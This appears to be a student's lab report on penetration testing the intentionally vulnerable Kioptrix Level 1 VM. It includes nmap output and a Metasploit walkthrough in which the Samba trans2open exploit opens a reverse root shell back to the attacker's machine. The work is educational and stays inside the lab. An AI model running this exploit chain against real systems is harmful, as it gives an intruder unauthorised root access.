

Kioptrix Level 1 Penetration Testing Report

Student Information

Field	Details
Name	Shantanu Chauhan
University Roll No.	2415001463
Course	B.Tech Computer Science & Engineering
Semester	5th Semester
Batch	2024-2028
University	GLA University, Mathura

Objective

The objective of this practical assignment was to assess the security posture of the Kioptrix Level 1 vulnerable virtual machine by following a structured penetration testing methodology. The exercise included reconnaissance, service discovery, vulnerability analysis, and verification of successful administrative access within a controlled laboratory environment.

Lab Environment

Component	Details
Attacker Machine	Kali Linux

Target Machine	Kioptrix Level 1
Platform	VulnHub
Framework	Metasploit Framework
Scanner	Nmap

Penetration Testing Methodology

The assessment followed these phases:

1. Information Gathering
 2. Port Scanning
 3. Service Enumeration
 4. Vulnerability Analysis
 5. Exploitation (Lab Verification)
 6. Proof of Administrative Access
-

Port Scanning

Network scanning was performed to identify open ports and active services running on the target system. Service and version detection were used to gather additional information about the exposed applications.

Command Used

```
nmap -A -sV 192.168.1.104
```

```
└─$ nmap -A -sV 192.168.1.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-26 12:42 EDT
Nmap scan report for 192.168.1.104
Host is up (0.018s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 2.9p2 (protocol 1.99)
|_ ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:60:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_ sshv1: Server supports SSHv1
80/tcp    open  http           Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-methods:
|_   Potentially risky methods: TRACE
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind        2 (RPC #100000)
|_ rpcinfo:
|   program version    port/proto  service
|   100000   2             111/tcp     rpcbind
|   100000   2             111/udp     rpcbind
|   100024   1             1024/tcp    status
|   100024   1             1024/udp    status
139/tcp   open  netbios-ssn    Samba smbd (workgroup: 4MYGROUP)
443/tcp   open  ssl/http       Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: 400 Bad Request
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
|_ Not valid before: 2009-09-26T09:32:06
|_ Not valid after:  2010-09-26T09:32:06
|_ ssl-date: 2024-06-26T20:42:59+00:00; +4h00m03s from scanner time.
|_ sslv2:
|   SSLv2 supported
|   ciphers:
|       SSL2_RC2_128_CBC_WITH_MD5
|       SSL2_RC4_64_WITH_MD5
```

Enumeration Findings

The scan revealed several services exposed by the target machine, including secure shell access, web services, remote procedure call services, and file-sharing services.

The identified software versions were reviewed to determine whether any publicly documented vulnerabilities were associated with them.

Vulnerability Analysis

Based on the enumeration results, one of the detected services appeared to be running an older software version. Public vulnerability databases and security references indicate that legacy software versions may contain known security weaknesses.

The identified findings were analyzed further within the controlled laboratory environment.

Commands Used

Start the Metasploit Framework:

msfconsole

Search for the relevant module:

search trans2open

[illegible]

```
msf6 > search trans2open
[*] Unknown command: search. Did you mean search? Run the help command for more details.
msf6 > search trans2open

Matching Modules
=====

#  Name                                                                 Disclosure Date  Rank  Check  Description
--  -
0  exploit/treebsd/samba/trans2open 2003-04-07      great No     Samba trans2open Overflow (+BSD x86)
1  exploit/linux/samba/trans2open 2003-04-07      great No     Samba trans2open Overflow (Linux x86)
2  exploit/osx/samba/trans2open 2003-04-07      great No     Samba trans2open Overflow (Mac OS X PPC)
3  exploit/solaris/samba/trans2open 2003-04-07      great No     Samba trans2open Overflow (Solaris SPARC)
4  \_ target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce . . .
5  \_ target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce . . .

Interact with a module by name or index. For example info 5, use 5 or use exploit/solaris/samba/trans2open
After interacting with a module you can manually set a TARGET with set TARGET 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce'
```

Exploitation Overview

A compatible testing module available within the Metasploit Framework was selected and configured for use in the isolated lab environment.

Configure the Payload

```
set payload generic/shell_reverse_tcp
```

Display Module Options

```
show options
```

Execute the Module

```
run
```

After configuring the required module parameters, execution resulted in a remote command shell on the target machine.

```
msf6 exploit(linux/samba/trans2open) > show options
Module options (exploit/linux/samba/trans2open):
  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.104   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     139              yes       The target port (TCP)

Payload options (generic/shell_reverse_tcp):
  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.7      yes       The listen address (an interface may be specified)
  LPORT     4444              yes       The listen port

Exploit target:
  Id  Name
  --  -
  0    Samba 2.2.x - BruteForce
```

```
msf6 exploit(linux/samba/trans2open) > set rhosts 192.168.1.104
rhosts => 192.168.1.104
msf6 exploit(linux/samba/trans2open) > set lhost 192.168.1.7
lhost => 192.168.1.7
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 192.168.1.7:4444
[*] 192.168.1.104:139 - Trying return address 0xbffffdfc...
[*] 192.168.1.104:139 - Trying return address 0xbffffcfc...
[*] 192.168.1.104:139 - Trying return address 0xbffffbfc...
[*] 192.168.1.104:139 - Trying return address 0xbffffafc...
[*] 192.168.1.104:139 - Trying return address 0xbffff9fc...
[*] 192.168.1.104:139 - Trying return address 0xbffff8fc...
[*] 192.168.1.104:139 - Trying return address 0xbffff7fc...
[*] 192.168.1.104:139 - Trying return address 0xbffff6fc...
[*] Command shell session 1 opened (192.168.1.7:4444 -> 192.168.1.104:1025) at 2024-06-26 12:55:20 -0400

[*] Command shell session 2 opened (192.168.1.7:4444 -> 192.168.1.104:1026) at 2024-06-26 12:55:22 -0400
[*] Command shell session 3 opened (192.168.1.7:4444 -> 192.168.1.104:1027) at 2024-06-26 12:55:23 -0400
[*] Command shell session 4 opened (192.168.1.7:4444 -> 192.168.1.104:1028) at 2024-06-26 12:55:26 -0400
```

Proof of Administrative Access

Administrative access was verified using standard Linux commands.

Verify Current User

```
whoami
```

Output

```
root
```

Display User Information

```
id
```

Output

```
uid=0(root)
gid=0(root)
groups=99(nobody)
```

The output confirmed that the obtained shell had administrative (root) privileges.

```
whoami
root
id
uid=0(root) gid=0(root) groups=99(nobody)
█
```

Tools Used

- Kali Linux
- Nmap
- Metasploit Framework

- VMware Workstation / VirtualBox
 - Kioptrix Level 1 (VulnHub)
-

Key Learnings

- Importance of thorough information gathering.
 - Effective use of network scanning and service enumeration.
 - Understanding how outdated software versions can introduce security risks.
 - Importance of verifying findings within an isolated lab environment.
 - Practical experience with common penetration testing tools.
 - Documentation of the complete penetration testing process.
-

Conclusion

This laboratory exercise demonstrated the complete penetration testing workflow, including reconnaissance, service discovery, vulnerability assessment, and verification of administrative access in a controlled environment. The assignment provided practical experience with industry-standard security tools and reinforced the importance of systematic analysis during security assessments.

References

- VulnHub – Kioptrix Level 1
- Nmap Documentation
- Metasploit Framework Documentation